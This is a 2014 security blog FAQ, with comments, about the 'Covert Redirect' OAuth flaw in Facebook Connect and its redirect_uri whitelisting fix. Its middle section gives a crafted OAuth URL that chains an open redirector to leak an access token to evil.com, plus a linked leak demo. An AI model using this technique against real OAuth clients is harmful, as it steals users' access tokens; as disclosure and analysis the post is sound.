Friday, May 2, 2014

Covert Redirect FAQ

Hey, so called covert redirect was all over the news today. I was asked by our client Auth0 if everything is ok with them - they are alright, because their middleware cannot be used as an open redirector.
After seeing tons of tweets I decided to stop the panic and publish a short FAQ.

How does it work?
First of all it is a known Facebook Connect bug, other providers are not vulnerable (author claims they are?), because Connect allows you to replace response_type and redirect_uri with new values.

Let's change redirect_uri to some open redirector on the client's domain (we need to find it first, if there's no open redirect client is not vulnerable!) - CLIENT/redirect_me?url=http://evil.com
and response_type to "token". Crafted URL is:

facebook.com/oauth?redirect_uri=CLIENT%2Fredirect_me%3Furl%3Dhttp%3A%2F%2Fevil.com&response_type=token&client_id=1

Facebook redirects user to CLIENT/redirect_me?url=http://evil.com#access_token=123, CLIENT redirects user with 302 redirect to evil.com but browser preserves #fragment and loads http://evil.com/#access_token=123. (didn't know/expect it? welcome to web security! test it here):

Now location.hash can be sliced with Javascript, look at my malicious test page at http://homakov.github.io/fbleak.html

Is it a new bug?
Unfortunately, even being a real threat (quite poorly explained, but I'm not the one to judge) this is nothing new.

I wrote about it in Feb 2013 (hacking FB with oauth bugs "We used 2 bugs: dynamic redirect_uri and dynamic response_type parameter") then in my rants on OAuth2 future (+ FB>other-provider>client exploits) then mentioned how it can be used to steal signed_request (which is a 10 times worse vulnerability than this one), called it Achilles Heel of OAuth, and bunch of other authorization related posts.

Anyway, I'm glad the old problem gets huge attention again and even a logo (wait what?).



Is it going to be fixed?
Since it's nothing new, and Facebook refused to fix flexible redirect_uri long time ago, no, it is not going to be fixed. All you can do is to whitelist redirect_uri in the Advanced tab of your client settings:




6 comments:

  1. Wait, how does the fragment get from the original redirect URI:

    CLIENT/redirect_me?url=http://evil.com#access_token=123

    to the other side of the open redirector? RFC-compliant clients shouldn't even *send* it to the open redirector!

    ReplyDelete
    Replies
    1. They do
      sakurity.com/triple?to=http://ya.ru#asdf

      Delete
    2. Not sent, but available via JS. See http://blogs.msdn.com/b/ieinternals/archive/2011/05/17/url-fragments-and-redirects-anchor-hash-missing.aspx

      Delete
  2. This comment has been removed by the author.

    ReplyDelete
  3. In the demos of Covert redirect they showed stealing of authorization code.
    I was wondering whether it is worth stealing because when I tried to replay an authorization code that was issued for a client in one session(I blocked the code being sent to the client in this session) with the same client in another session authentication was not successful. It was also not the case of the 'code' expiring soon because no matter how much time I delayed the sending of the code to the client it was still proceeding with the login.
    Is there any other way to use the authorization code?

    ReplyDelete
    Replies
    1. 1. it expires very quickly
      2. you can only use it with valid redirect_uri so no sense to steal it

      Delete